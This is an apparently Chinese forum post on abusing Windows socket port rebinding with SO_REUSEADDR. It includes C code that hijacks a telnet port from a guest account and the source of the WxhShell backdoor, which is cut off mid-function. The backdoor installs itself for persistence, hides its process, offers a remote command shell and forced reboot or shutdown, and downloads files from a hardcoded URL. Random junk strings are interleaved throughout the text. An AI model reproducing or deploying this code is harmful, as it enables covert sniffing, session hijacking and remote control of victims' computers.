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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |E||e10wR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);   uk,9N  
C#1'kQO  
  saddr.sin_family = AF_INET; F{.g05^y  
eWD!/yr|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "[7'i<,AI  
wc"~8Ah  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }j2t8B^&:  
D;+Y0B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w T_l>u  
4 2-T&7k  
  这意味着什么?意味着可以进行如下的攻击: NE) w$>0M  
M\7F1\ X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t U~q4$qqE  
RF4B ]Gqd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :6EX-Xyj  
$ kMe8F_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /~fu,2=7  
~HT:BO$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %(POC=b#[  
TM_bu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -O/[c  
V2@( BliP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~ Hj c?*  
+2Aggv>*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;G"!y<F  
*UN*&DmF  
  #include ^"vmIC.h  
  #include FJ?]|S.?,  
  #include 8. +f@wv  
  #include    N}{V*H^0QU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EBQ_c@  
  int main() ~G6xk/+n-m  
  { /6n"$qon6  
  WORD wVersionRequested; wnLpf  
  DWORD ret; }v_|N"@  
  WSADATA wsaData; 8(S|=cR  
  BOOL val; 0D  `9  
  SOCKADDR_IN saddr; 4Sdj#w  
  SOCKADDR_IN scaddr; n%~r^ C_  
  int err; $ >].;y?$  
  SOCKET s; QAZs1;lU  
  SOCKET sc; t0P_$+w.>  
  int caddsize; Y(K`3? A  
  HANDLE mt; JPj/+f  
  DWORD tid;   %.\+j,G7  
  wVersionRequested = MAKEWORD( 2, 2 ); vQ $"|8,  
  err = WSAStartup( wVersionRequested, &wsaData ); 1 un!  
  if ( err != 0 ) { =i7CF3  
  printf("error!WSAStartup failed!\n"); >!o!rs  
  return -1; Nr]guC?rE  
  } +x4*T  
  saddr.sin_family = AF_INET; 4ISIg\:c*  
   [kgCB7.V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H&k&mRi  
aSHN*tP%y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uz=9L<$  
  saddr.sin_port = htons(23); HoWK# Nz\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6ZjY-)h  
  { I,& gKgh  
  printf("error!socket failed!\n"); Jiru~Vo+  
  return -1; b#t5Dve  
  } XQ}7.u!  
  val = TRUE; Fy.!amXu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N"~P$B1 X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r(n>N0:0Ls  
  { KR hls"\1  
  printf("error!setsockopt failed!\n"); "(';UFa  
  return -1; pB%oFWqK  
  } 6KN6SN$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zd F;!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e-lc2$o7{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X .K*</(g  
:inVwc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |^F$Ta  
  { j*1MnP3/8Y  
  ret=GetLastError(); u'Hh||La"  
  printf("error!bind failed!\n"); X~\O]  
  return -1; n4H'FZ  
  } ^EmePkPI  
  listen(s,2); iT{[zLz>1  
  while(1) evVxzU&  
  { 8S[bt@v  
  caddsize = sizeof(scaddr); 9c{ ~$zJW  
  //接受连接请求 o{mVXidE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #D >:'ezm  
  if(sc!=INVALID_SOCKET) FZ8Qj8  
  { c+whpQ=01  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wp:Zur5Y  
  if(mt==NULL) #AO}JP  
  { " Z dI~  
  printf("Thread Creat Failed!\n"); TKEcbGhy  
  break; YXdo&'Q<qX  
  } ?D_}',Wx  
  } :."+&gb  
  CloseHandle(mt);  8#1o  
  } ]{ch]m  
  closesocket(s); tWTC'Gx-J  
  WSACleanup(); \3F)M`g  
  return 0; bIV9cpW  
  }   Mdu\ci)lr  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,. <c|5R  
  { BcQw-<veu  
  SOCKET ss = (SOCKET)lpParam; X%7l! k[  
  SOCKET sc; RYl\Q,#  
  unsigned char buf[4096]; 4 .(5m\s!  
  SOCKADDR_IN saddr; aH, NS   
  long num; %[o($a$  
  DWORD val; '#QZhz(+  
  DWORD ret; !y2yS/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #TeAw<2U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'I2[} >mj2  
  saddr.sin_family = AF_INET; ``rYzj_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <0jM07\<  
  saddr.sin_port = htons(23); AthR|I|8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ch~y;C&e+r  
  { [V5,1dmkI  
  printf("error!socket failed!\n"); =xb/zu(  
  return -1; IiX2O(*ZE  
  } |]Y6*uEX<  
  val = 100; @?0))@kPc3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RE]*fRe7#  
  { GW.Y= S  
  ret = GetLastError(); scrss  
  return -1; izu_KBzy  
  } =">0\#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lr -+|>M)  
  { =65XT^  
  ret = GetLastError(); WaE%g   
  return -1; `bd9N !K  
  } i+I1h=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MOuEsm;  
  { O8LIKD_I[  
  printf("error!socket connect failed!\n"); D8$4PT0u  
  closesocket(sc); $?pfst~;O  
  closesocket(ss); ykGA.wo7/P  
  return -1; d zV2;  
  } @%^h|g8>Fu  
  while(1) W&&C[@Jd3  
  { 1{qG?1<zZ6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }L^PZS@Jf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aHNn!9#1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E*+]Iq1u  
  num = recv(ss,buf,4096,0); v,iq,p)&  
  if(num>0) o$}$Z&LK  
  send(sc,buf,num,0); zIU6bMMT3u  
  else if(num==0) A "'h0D  
  break; 1IK*j +%  
  num = recv(sc,buf,4096,0); F9q!Upr_+  
  if(num>0) LftGA7uGJ)  
  send(ss,buf,num,0); zq|NltK  
  else if(num==0)  ]l  
  break;  SxX  
  } iU# "G" &  
  closesocket(ss); }0OQm?xh  
  closesocket(sc); S*WLb/R2  
  return 0 ; x3nUKQtk:8  
  } nKjT&R  
wiM4,  
SJsbuLxR  
========================================================== jRW@$ <mG  
\+C0Rv^^  
下边附上一个代码,,WXhSHELL R~RE21kAc  
^<j =.E  
========================================================== >h(GmR*xM  
* C*aH6*  
#include "stdafx.h"  D28>e  
q$}gQ9'z'  
#include <stdio.h> 71\GK  
#include <string.h> g$qM}#s0}  
#include <windows.h> uaha)W;'9  
#include <winsock2.h> nM99AW  
#include <winsvc.h> ]qEg5:yY  
#include <urlmon.h> Bc<pD?uOK  
?0 7}\N0~  
#pragma comment (lib, "Ws2_32.lib") q 'uGB fE.  
#pragma comment (lib, "urlmon.lib") LO38}w<k  
Y&$puiH-j  
#define MAX_USER   100 // 最大客户端连接数 x l=i_  
#define BUF_SOCK   200 // sock buffer &Cr4<V6-q  
#define KEY_BUFF   255 // 输入 buffer Z55C4F5v  
&=wvlI52`  
#define REBOOT     0   // 重启 }8`>n4  
#define SHUTDOWN   1   // 关机 *mW2vJ/B  
vxrqUjK7  
#define DEF_PORT   5000 // 监听端口 l}D /1~d  
'7.4!I0'  
#define REG_LEN     16   // 注册表键长度 !=6\70lJ  
#define SVC_LEN     80   // NT服务名长度 v:NQrN  
g)IW9q2  
// 从dll定义API h)z2#qfc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #E_<}o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #+|0o-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U/h@Q\~U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); STPRC&7;  
Lw<.QMN%f  
// wxhshell配置信息 Y6(= cm  
struct WSCFG { 1L=)93,M  
  int ws_port;         // 监听端口 hOuHTo^  
  char ws_passstr[REG_LEN]; // 口令 gE8>o:6)6:  
  int ws_autoins;       // 安装标记, 1=yes 0=no /.sho\a  
  char ws_regname[REG_LEN]; // 注册表键名 isFxo,R9r  
  char ws_svcname[REG_LEN]; // 服务名 X-psao0tI`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y'O<*~C(X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1 r3} V7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $|AasT5w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xu|2@?l9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *dsI>4%m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XaMsIyhI  
;f} ']2  
}; y!_8m#n S  
3kVN[0  
// default Wxhshell configuration Au:R]7   
struct WSCFG wscfg={DEF_PORT, =RQI5 nHdw  
    "xuhuanlingzhe", $\PU Y8  
    1, \(r$f!`  
    "Wxhshell", F#.ph?W  
    "Wxhshell", '@HCwEuz  
            "WxhShell Service", *<X*)A{C  
    "Wrsky Windows CmdShell Service", |n~,{=  
    "Please Input Your Password: ", }eveNPB{5  
  1, >G As&\4hs  
  "http://www.wrsky.com/wxhshell.exe", 9q\_UbF  
  "Wxhshell.exe" CW]Th-xc  
    }; >qd=lm <,  
buhbUmQ2  
// 消息定义模块 Q&/WVRD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K@ a#^lmd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R'fEw3^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ns5P,[pBOZ  
char *msg_ws_ext="\n\rExit."; -x|!?u5F  
char *msg_ws_end="\n\rQuit."; s5)y %, E  
char *msg_ws_boot="\n\rReboot..."; %N0m$*  
char *msg_ws_poff="\n\rShutdown..."; dAy\IfZX=  
char *msg_ws_down="\n\rSave to "; M; YJpi  
32`Z3-  
char *msg_ws_err="\n\rErr!"; flOXV   
char *msg_ws_ok="\n\rOK!"; 1X9J[5|ll  
|f(*R_R  
char ExeFile[MAX_PATH]; [\  &2&  
int nUser = 0; nwIj?(8x  
HANDLE handles[MAX_USER]; ]0W64cuT  
int OsIsNt; e&!8UYP  
5Sb-Bn  
SERVICE_STATUS       serviceStatus; ]ZNFrpq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z:1t vG  
WuTkYiF  
// 函数声明 L$y~\1-  
int Install(void); lr@w1*  
int Uninstall(void); :39arq  
int DownloadFile(char *sURL, SOCKET wsh); vJS}_j]_@  
int Boot(int flag); ]EG8+K6  
void HideProc(void); w(K|0|t  
int GetOsVer(void); SwM=?<  
int Wxhshell(SOCKET wsl); 8q; aCtei  
void TalkWithClient(void *cs); D]N)  
int CmdShell(SOCKET sock); ?TI]0)  
int StartFromService(void); |I{3~+E h  
int StartWxhshell(LPSTR lpCmdLine); !T 9CpIM%  
8~ &=vc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .i^ @v<+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :[0)Uu{  
9~jS_Y)"  
// 数据结构和表定义 -<M+$hK\  
SERVICE_TABLE_ENTRY DispatchTable[] = ^66OzT8A  
{ =YD<q:n4  
{wscfg.ws_svcname, NTServiceMain}, (!YJ:,!so  
{NULL, NULL} $8SSu|O+x  
}; pgZQ>%  
Y/T-q<ag8  
// 自我安装 C &y 2I  
int Install(void) ]'$:Y   
{ 0G2Y_A&e**  
  char svExeFile[MAX_PATH]; -Kcjnl92i  
  HKEY key; 9}Ge@a<j  
  strcpy(svExeFile,ExeFile); 4t3>`x 7  
]q4(%Q  
// 如果是win9x系统,修改注册表设为自启动 VE}r'MBk  
if(!OsIsNt) { NytodVZ'3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1GB]Yi[>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q03+FLEfC  
  RegCloseKey(key); # s7e/GdKb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xvomn`X1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p1 ("  
  RegCloseKey(key); IM5[O}aq  
  return 0; g:GywX W  
    } ZSyXzop  
  } bbDm6,  
} iyXd"O  
else { &xGpbJG  
#M5d,%?+#[  
// 如果是NT以上系统,安装为系统服务 @u: `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w~Nat7nD  
if (schSCManager!=0) 7S=,#  
{ TQ0ZBhd  
  SC_HANDLE schService = CreateService Sw5:T  
  ( S.q0L  
  schSCManager, bOp%  
  wscfg.ws_svcname, b#R$P]dr=  
  wscfg.ws_svcdisp, pS}IU{#;  
  SERVICE_ALL_ACCESS, Upcx@zJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #,1z=/d.  
  SERVICE_AUTO_START, lNl.lI\t)y  
  SERVICE_ERROR_NORMAL, axq~56"7E  
  svExeFile, MUGoW;}v )  
  NULL, k GYsjhL\d  
  NULL, lnm@DWhf  
  NULL, O'{kNr{u  
  NULL, lnLy"f"zV  
  NULL 9Oo`4  
  ); GlRjbNW?Q  
  if (schService!=0) 'cQ,;y  
  { >Gk<a  
  CloseServiceHandle(schService); po,U e>n/  
  CloseServiceHandle(schSCManager); %[M0TE=J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J9DI(`  
  strcat(svExeFile,wscfg.ws_svcname); {9.UeVz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3IB9-wG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S8v?H|rm  
  RegCloseKey(key); p . P#S  
  return 0; &m   GU  
    } w5 ]lU  
  } %Lb cwh(9  
  CloseServiceHandle(schSCManager); d|9]E&;,  
} )+=Kh$VbS  
} Z @ef2y;  
;[[6[i  
return 1; -Fu,oEj{*  
} kM&-t&7  
xXa4t4gR  
// 自我卸载 T?6<1nU)  
int Uninstall(void) $#2<f 6  
{ SJc~E$5<  
  HKEY key; !H{>c@i  
;Bj&9DZd  
if(!OsIsNt) { `'k2gq&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  N&kUTSd  
  RegDeleteValue(key,wscfg.ws_regname); r;* |^>  
  RegCloseKey(key); z8]@Gh+ (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' i<4;=M&  
  RegDeleteValue(key,wscfg.ws_regname); Un,'a8>V`  
  RegCloseKey(key); \ym^~ Q|  
  return 0; MX7Ix{  
  } \Q1&w2mw  
} .:B>xg~2  
} !!)$?R;1  
else { ,4 _H{+M  
"PO8Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j(]O$""  
if (schSCManager!=0) `wU['{=  
{ HW,v"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _nEVmz!zg  
  if (schService!=0) ;134$7!Y  
  { \=mLL|a  
  if(DeleteService(schService)!=0) { ,Z _@]D@  
  CloseServiceHandle(schService); 3S2Alx!6  
  CloseServiceHandle(schSCManager); (Z[c7  
  return 0; ZH8w^}  
  } Il(o[Q>jJ3  
  CloseServiceHandle(schService); 96QY0  
  } #62ThH~  
  CloseServiceHandle(schSCManager); hsS&|7Pt  
} N:k>V4oE  
} tcsb]/my  
@G=7A;-pv0  
return 1; Dm8fcD  
} g,M-[o=Fk  
d;wq@ e  
// 从指定url下载文件 "`cPV){]  
int DownloadFile(char *sURL, SOCKET wsh) b=pk;'-  
{ g1"Z pD  
  HRESULT hr; zwJ&K;"y(  
char seps[]= "/"; J'7;+.s(  
char *token; 2nCc(F&+?  
char *file; XM*5I 4V  
char myURL[MAX_PATH]; vM5/KrW  
char myFILE[MAX_PATH]; e@TwZ6l  
/IJy'@B  
strcpy(myURL,sURL); %6 GM[1__  
  token=strtok(myURL,seps); *AGf'+j*z  
  while(token!=NULL) 9#&H'mG  
  { GiEt;8  
    file=token; W} H~ka  
  token=strtok(NULL,seps); =BE!  
  } 2;s[m3  
QT^b-~^  
GetCurrentDirectory(MAX_PATH,myFILE); cSV&p|  
strcat(myFILE, "\\"); uL1lB@G@  
strcat(myFILE, file); K<`Z@f3'w  
  send(wsh,myFILE,strlen(myFILE),0); -.8K"j{N  
send(wsh,"...",3,0); |pWu|M _'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `67i1w`  
  if(hr==S_OK) 9X;*GC;d  
return 0; ]H}2|~c  
else FdzdoMY  
return 1; 'ROz|iJ  
,*d8T7T  
} SlR//h  
{ AYW C6Y  
// 系统电源模块 F;}JSb"  
int Boot(int flag) 7H{1i  
{ 0zSz[;A  
  HANDLE hToken; NW`.7'aWT  
  TOKEN_PRIVILEGES tkp; 2zh- ms  
./Ek+p*96H  
  if(OsIsNt) { 6o3#<ap<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RO/(Ldh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B>!mD{N  
    tkp.PrivilegeCount = 1; JW^ ${4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c!7WRHJE_a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oe 6-F)+  
if(flag==REBOOT) { QkD ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0!0e$!8l  
  return 0; /(hTk&  
} ,f:K)^yD  
else { !3k-' ),z&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {4Kvr4)4  
  return 0; 83/m^^F{]  
} _u$DcA8B  
  } "B (?|r%  
  else { 3.BUWMD  
if(flag==REBOOT) { u^{p' a'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) js <Up/1  
  return 0; qAH^BrJ  
} $6wSqH?q  
else { M57<e`m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !o_eK\p  
  return 0; vn$=be8l4  
} `:V'E>B  
} :dULsl$Nz  
, ftJw  
return 1; s=jYQ5nv  
} {%9@{Q'T.s  
vCJa%}  
// win9x进程隐藏模块 $o5i15Oy.  
void HideProc(void) l:UKU!  
{ m+s*Io{Ip  
63Gq5dF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +ynhN\S$/  
  if ( hKernel != NULL ) HB5-B XBU  
  { * BR#^Wt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %~Rg`+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zf!Q4a"  
    FreeLibrary(hKernel); ,;w~ VZ4  
  } klFS3G  
qwj7CIc(  
return; r1<*=Fs=>>  
} PN]hG,q*4O  
E\s1p: %  
// 获取操作系统版本 s<!G2~T  
int GetOsVer(void) ;iKtv+"  
{ fv8x7l7  
  OSVERSIONINFO winfo; S8/~'<out  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JP6 Noia  
  GetVersionEx(&winfo); A~a 3bCX+"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mKO~`Wq%@  
  return 1; [5p9p1@u{C  
  else j0{`7n  
  return 0; H2: Zda#  
} <af# C2`B  
,v8e7T  
// 客户端句柄模块 SIrNZ^I  
int Wxhshell(SOCKET wsl) 7A(4`D J  
{ 0Pf88'6  
  SOCKET wsh; p$1 'e,G  
  struct sockaddr_in client; "ufSHrZv  
  DWORD myID; Z@Q*An  
6X h7Bx1  
  while(nUser<MAX_USER) v(.mM9>  
{ ~=OJCKv5(  
  int nSize=sizeof(client); ]9w)0iH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,>6a)2xh  
  if(wsh==INVALID_SOCKET) return 1; N}B&(dJ  
#9DJk,SP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hui #<2{  
if(handles[nUser]==0) n)q8y0if  
  closesocket(wsh); 0:[A4S`X  
else L QV@]z&  
  nUser++; ,(x` zpp _  
  } }>BNdm"Er  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bj \ x  
K a(B&.  
  return 0; hjg1By(  
} .p e3L7g  
Q34u>VkdQI  
// 关闭 socket gF)-Ci  
void CloseIt(SOCKET wsh) `f~bnL  
{ j`.&4.7+  
closesocket(wsh); B;=Z^$%T  
nUser--; }a5TY("d9H  
ExitThread(0); y<- ]'Yts  
} gtMR/P:S  
Fik ;hB  
// 客户端请求句柄 |wuTw|  
void TalkWithClient(void *cs) A)n_ST0  
{ k0V]<#h87  
r7R'beiH  
  SOCKET wsh=(SOCKET)cs; z3S"1L7  
  char pwd[SVC_LEN]; p )JR5z  
  char cmd[KEY_BUFF]; |Sjy   
char chr[1]; !% W5@tN  
int i,j; F6yFKNK!n  
pI K:$eN!/  
  while (nUser < MAX_USER) { us|Hb  
1DcBF@3sWG  
if(wscfg.ws_passstr) { Q}B]b-c+E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \a;xJzc9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -avxH?;?7  
  //ZeroMemory(pwd,KEY_BUFF); >e6OlIW  
      i=0; ]h`*w  
  while(i<SVC_LEN) { Y2l;NSWU  
8o|C43Q_  
  // 设置超时 ;AOLbmb)H4  
  fd_set FdRead; (N&?Z]|yr  
  struct timeval TimeOut; iKPgiL~  
  FD_ZERO(&FdRead); |-S!)iG1V  
  FD_SET(wsh,&FdRead); sv% E5@  
  TimeOut.tv_sec=8; 5<PNl~0  
  TimeOut.tv_usec=0; QjSWl,{ $D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P<&bAsje  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FNLS=4  
`O2P&!9&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eJ45:]_%I@  
  pwd=chr[0]; N(4y}-w$  
  if(chr[0]==0xd || chr[0]==0xa) { }gX hN"  
  pwd=0; JGvhw,g  
  break; 3;Yd"  
  } qdpi-*2  
  i++; -( p%+`  
    } gkxHfm  
*l =f=  
  // 如果是非法用户,关闭 socket \f4rA?+f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4bL *7bA  
} qQ)1+^  
-|}?+W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M-h+'G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); em,1Yn?  
d*Mqs}8  
while(1) { fNAW4I I}  
$[`rY D/.  
  ZeroMemory(cmd,KEY_BUFF); F%p DF\  
<v -YMk@  
      // 自动支持客户端 telnet标准   y(g]:#  
  j=0; M.y!J  
  while(j<KEY_BUFF) { %"(HjanH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2C:u)}R7D  
  cmd[j]=chr[0]; r{r~!=u  
  if(chr[0]==0xa || chr[0]==0xd) { Hm>cKPZ)  
  cmd[j]=0; D%3$"4M7!  
  break; sk9Ejaf6>  
  } (OES~G  
  j++; [8Y7Q5Had  
    } .+XK>jl +  
G.L}VpopM  
  // 下载文件 deYv&=SPl  
  if(strstr(cmd,"http://")) { /# Jvt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1-^D2B[-  
  if(DownloadFile(cmd,wsh)) gd#R7[AVi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jF |8  
  else Ek `bPQ5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  .GJbrz  
  } ly34aD/p~,  
  else { q 6UZ`9&z  
lbt8S.fx  
    switch(cmd[0]) { D1-w>Y#  
  K!ogpd&X&  
  // 帮助 $#n9C79Z@  
  case '?': { IxUj(l1Fm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Cd/SlNV2  
    break; BQWg L  
  } KxKZC }4m  
  // 安装  N{g7  
  case 'i': { ,m`&J?  
    if(Install()) \i,H1a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53aJnxX  
    else k?Hi_;o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvS5N)[  
    break; \,/ozfJ7dT  
    } /f?;,CyI  
  // 卸载 #FAW@6QG  
  case 'r': { 6P >Y2xV:  
    if(Uninstall()) zP0<4E$M`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$vUD1('  
    else v7@"9Uw}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|eX@?QF58  
    break; J&'*N :d  
    } d_$0  
  // 显示 wxhshell 所在路径 -:d{x#  
  case 'p': { dL4VcUS.  
    char svExeFile[MAX_PATH]; |Tmug X7  
    strcpy(svExeFile,"\n\r"); f2gh|p`  
      strcat(svExeFile,ExeFile); rz|Sjtq  
        send(wsh,svExeFile,strlen(svExeFile),0); 'qiAmaX  
    break; mz1m^p)~{  
    } AaB1H7r-  
  // 重启 ul N1z  
  case 'b': { dkEbP*y Xg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xzY/$?  
    if(Boot(REBOOT))  y_[VhZ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ={cM6F}a@  
    else { CZ] Dm4  
    closesocket(wsh); mB0`>?#i  
    ExitThread(0); "Y^Fn,c  
    } "dv\ 9O  
    break; MwQtf(_  
    } NMw5ixl  
  // 关机 c %Y *XJ'  
  case 'd': { @6DKw;Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |b='DJz2  
